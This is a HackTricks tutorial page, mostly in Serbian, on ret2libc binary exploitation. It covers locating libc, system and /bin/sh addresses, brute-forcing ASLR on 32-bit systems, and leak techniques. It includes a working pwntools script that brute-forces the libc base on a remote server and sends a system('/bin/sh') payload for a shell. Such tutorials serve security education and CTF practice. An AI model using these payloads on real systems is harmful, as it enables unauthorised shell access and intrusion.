Ret2lib
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Suština Ret2Libc je da preusmeri tok izvršavanja ranjivog programa na funkciju unutar shared library (npr. system, execve, strcpy) umesto da izvršava attacker-supplied shellcode na stack-u. Napadač sastavlja payload koji menja return address na stack-u da pokazuje na željenu library function, dok takođe namešta sve neophodne arguments da budu pravilno postavljeni u skladu sa calling convention.
Primer koraka (pojednostavljeno)
- Nabavite adresu funkcije koju treba pozvati (npr. system) i komandu koja će biti pozvana (npr. /bin/sh)
- Generišite ROP chain koji prosleđuje prvi argument kao pokazivač na command string i preusmerava execution flow na funkciju
Pronalaženje adresa
- Pod pretpostavkom da je
libckoji se koristi onaj sa trenutne mašine, možete pronaći gde će biti učitan u memoriju pomoću:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Ako želite da proverite da li ASLR menja adresu libc, možete uraditi:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Znajući koja libc se koristi, takođe je moguće pronaći offset do
systemfunkcije pomoću:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Znajući koja libc se koristi, moguće je takođe pronaći offset do stringa
/bin/shpomoću:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Korišćenje gdb-peda / GEF
Znajući koja libc biblioteka se koristi, moguće je koristiti Peda ili GEF da se dobije adresa funkcije system, funkcije exit i stringa /bin/sh:
p system
p exit
find "/bin/sh"
Using /proc/<PID>/maps
Ako proces kreira podprocese svaki put kad sa njim komuniciraš (mrežni server) pokušaj da pročitaš taj fajl (verovatno će ti trebati root).
Ovde možeš naći tačno gde je libc učitan unutar procesa i gde će biti učitan za svaki podproces procesa.
.png)
U ovom slučaju je učitan na 0xb75dc000 (Ovo će biti osnovna adresa libc-a)
Nepoznati libc
Moguće je da ne znaš koju libc binarni fajl učitava (jer može biti smešten na serveru kojem nemaš pristup). U tom slučaju možeš iskoristiti ranjivost da leak-uješ neke adrese i pronađeš koju libc biblioteku koristiš:
I možeš pronaći pwntools template za ovo u:
Poznavanje libc sa 2 offseta
Proveri stranicu https://libc.blukat.me/ i iskoristi par adresa funkcija unutar libc-a da pronađeš koja verzija se koristi.
Zaobilaženje ASLR-a na 32 bits
Ovi brute-forcing napadi su samo korisni za 32bit systems.
- Ako je exploit lokalni, možeš pokušati brute-force-ovati base address libc-a (korisno za 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Ako napadate remote server, možete pokušati da brute-force adresu
libcfunkcijeusleep, prosleđujući kao argument 10 (na primer). Ako u nekom trenutku server zahteva dodatnih 10s da odgovori, našli ste adresu te funkcije.
One Gadget
Execute a shell just jumping to one specific address in libc:
x86 Ret2lib Code Example
U ovom primeru ASLR brute-force je integrisan u kodu i ranjivi binarni fajl se nalazi na remote serveru:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Primer koda
Check the example from:
ARM64 Ret2lib Primer
U slučaju ARM64, instrukcija ret skače na mesto na koje pokazuje registar x30, a ne na mesto na koje pokazuje registar steka. Dakle, to je malo komplikovanije.
Takođe, u ARM64 instrukcija radi tačno ono što piše (nije moguće skočiti na sredinu instrukcije i transformisati je u novu).
Check the example from:
Ret-into-printf (or puts)
This allows to leak information from the process by calling printf/puts with some specific data placed as an argument. For example putting the address of puts in the GOT into an execution of puts will leak the address of puts in memory.
Ret2printf
This basically means abusing a Ret2lib to transform it into a printf format strings vulnerability by using the ret2lib to call printf with the values to exploit it (sounds useless but possible):
Ostali primeri i reference
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib — ako postoji leak adrese funkcije u libc, korišćenje one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Uses a format string to leak the canary from the stack and a buffer overflow to call into system (it’s in the GOT) with the address of
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling
system('/bin/sh')(the heap address is needed to bypass a check).
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


